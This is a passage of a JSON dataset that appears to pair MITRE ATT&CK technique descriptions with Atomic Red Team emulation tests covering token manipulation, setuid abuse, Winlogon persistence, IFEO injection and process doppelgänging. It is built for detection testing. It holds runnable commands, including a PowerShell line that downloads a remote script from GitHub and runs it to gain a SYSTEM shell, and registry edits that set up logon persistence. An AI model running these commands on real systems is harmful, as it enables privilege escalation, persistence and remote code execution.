"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "System access controls", - "File system access controls" - ], - "identifier": "T1134.002" - }, - "atomic_tests": [ - { - "name": "Access Token Manipulation", - "auto_generated_guid": "dbf4f5a9-b8e0-46a3-9841-9ad71247239e", - "description": "This Action demonstrates how an access token for a specific program can spawn another program under a different owner. \nAdversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. \nThis Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique", - "auto_generated_guid": "ccf4ac39-ec93-42be-9035-90e2f26bcd92", - "description": "Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem", - "name": "powershell" - } - } - ] - }, - "T1548.001": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", - "created": "2020-01-30T14:11:41.212Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.001", - "url": "https://attack.mitre.org/techniques/T1548/001" - }, - { - "source_name": "GTFOBins Suid", - "url": "https://gtfobins.github.io/#+suid", - "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022." - }, - { - "source_name": "OSX Keydnap malware", - "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." - }, - { - "source_name": "setuid man page", - "url": "http://man7.org/linux/man-pages/man2/setuid.2.html", - "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", - "modified": "2022-04-19T15:07:53.060Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Abuse Elevation Control Mechanism: Setuid and Setgid", - "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "File: File Metadata" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1548.001" - }, - "atomic_tests": [] - }, - "T1547.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", - "created": "2020-01-24T16:59:59.688Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.004", - "url": "https://attack.mitre.org/techniques/T1547/004" - }, - { - "source_name": "Cylance Reg Persistence Sept 2013", - "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", - "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/579.html", - "source_name": "capec", - "external_id": "CAPEC-579" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", - "modified": "2022-04-20T16:32:14.691Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: Winlogon Helper DLL", - "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Windows Registry: Windows Registry Key Modification", - "Module: Module Load" - ], - "x_mitre_permissions_required": [ - "SYSTEM", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.004" - }, - "atomic_tests": [ - { - "name": "Winlogon Shell Key Persistence - PowerShell", - "auto_generated_guid": "bf9f9d65-ee4d-4c3e-a843-777d04f19c38", - "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_to_execute": { - "description": "Path of binary to execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Winlogon Userinit Key Persistence - PowerShell", - "auto_generated_guid": "fb32c935-ee2e-454b-8fa3-1c46b42e8dfb", - "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_to_execute": { - "description": "Path of binary to execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Winlogon Notify Key Logon Persistence - PowerShell", - "auto_generated_guid": "d40da266-e073-4e5a-bb8b-2b385023e5f9", - "description": "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_to_execute": { - "description": "Path of notification package to execute", - "type": "path", - "default": "C:\\Windows\\Temp\\atomicNotificationPackage.dll" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" \"logon\" \"#{binary_to_execute}\" -Force\n", - "cleanup_command": "Remove-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Winlogon HKLM Shell Key Persistence - PowerShell", - "auto_generated_guid": "95a3c42f-8c88-4952-ad60-13b81d929a9d", - "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_to_execute": { - "description": "Path of binary to execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Winlogon HKLM Userinit Key Persistence - PowerShell", - "auto_generated_guid": "f9b8daff-8fa7-4e6a-a1a7-7c14675a545b", - "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_to_execute": { - "description": "Path of binary to execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1546.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oddvar Moe, @oddvarmoe" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", - "type": "attack-pattern", - "created": "2020-01-24T15:05:58.384Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.012", - "url": "https://attack.mitre.org/techniques/T1546/012" - }, - { - "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", - "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", - "source_name": "Microsoft Dev Blog IFEO Mar 2010" - }, - { - "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", - "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", - "source_name": "Microsoft GFlags Mar 2017" - }, - { - "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", - "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", - "source_name": "Microsoft Silent Process Exit NOV 2017" - }, - { - "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", - "source_name": "Oddvar Moe IFEO APR 2018" - }, - { - "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", - "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", - "source_name": "Tilbury 2014" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", - "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", - "source_name": "FSecure Hupigon" - }, - { - "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", - "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", - "source_name": "Symantec Ushedix June 2008" - } - ], - "modified": "2020-11-10T18:29:31.112Z", - "name": "Event Triggered Execution: Image File Execution Options Injection", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1546.012" - }, - "atomic_tests": [ - { - "name": "IFEO Add Debugger", - "auto_generated_guid": "fdda2626-5234-4c90-b163-60849a24c0b8", - "description": "Leverage Global Flags Settings\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_binary": { - "description": "Binary To Attach To", - "type": "path", - "default": "calc.exe" - }, - "payload_binary": { - "description": "Binary To Execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /d \"#{payload_binary}\"\n", - "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "IFEO Global Flags", - "auto_generated_guid": "46b1f278-c8ee-4aa5-acce-65e77b11f3c1", - "description": "Leverage Global Flags Settings\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_binary": { - "description": "Binary To Attach To", - "type": "path", - "default": "notepad.exe" - }, - "payload_binary": { - "description": "Binary To Execute", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /t REG_DWORD /d 512\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /t REG_DWORD /d 1\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /d \"#{payload_binary}\"\n", - "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "GlobalFlags in Image File Execution Options", - "auto_generated_guid": "13117939-c9b2-4a43-999e-0a543df92f0d", - "description": "The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.\nUpon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. \nUpon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process": { - "description": "Process to monitor\n", - "type": "string", - "default": "whoami.exe" - }, - "cmd_to_run": { - "description": "Command to execute\n", - "type": "string", - "default": "cmd.exe /c calc.exe" - } - }, - "executor": { - "command": "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n", - "cleanup_command": "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1055.013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", - "type": "attack-pattern", - "created": "2020-01-14T17:19:50.978Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.013", - "url": "https://attack.mitre.org/techniques/T1055/013" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", - "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", - "source_name": "Microsoft TxF" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", - "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", - "source_name": "Microsoft Basic TxF Concepts" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", - "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", - "source_name": "Microsoft Where to use TxF" - }, - { - "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", - "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", - "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017" - }, - { - "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", - "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", - "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017" - }, - { - "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", - "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", - "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine" - } - ], - "modified": "2021-02-09T15:43:48.848Z", - "name": "Process Doppelg\u00e4nging", - "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ] - }, - "atomic_tests": [] - }, - "T1574.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": 